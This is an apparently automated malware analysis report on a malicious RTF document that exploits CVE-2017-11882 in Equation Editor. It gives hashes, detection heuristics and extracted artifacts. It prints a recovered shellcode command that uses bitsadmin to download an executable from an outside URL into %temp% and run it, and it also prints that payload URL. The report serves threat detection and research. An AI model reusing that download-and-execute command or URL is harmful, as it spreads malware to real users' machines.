RTF malware analysis — malicious · a0736bed4bf19ab1

MALICIOUS

RTF

10.6 KB Authoring application: Riched20 6.3.9600 First seen: 2018-04-30

MD5: 2cd239a8606c2a0a323294f2e2386d68 SHA-1: a2abab88bfb63a3ec805896c1c0d3ab280fafe1c SHA-256: a0736bed4bf19ab191cac9debe8d0c1e41ac00398679411a707c8e3cfa02d818

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains an embedded OLE object that exploits the CVE-2017-11882 vulnerability in Equation Editor. This exploit is designed to execute a second-stage payload, likely the 'a.exe' file hosted at the provided URL, leading to client execution.

Heuristics 9

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://mashhadani.com/z/a.exe In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00000365.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x365	3546 bytes
SHA-256: `0672d154ececac22edbec11b41125be2cdb3f81b9d74c2c64e0b0e1a1df02711`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://mashhadani.com/z/a.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer 8 /download http://mashhadani.com/z/a.exe %temp%\Zc.Exe&%temp%\Zc.Exe

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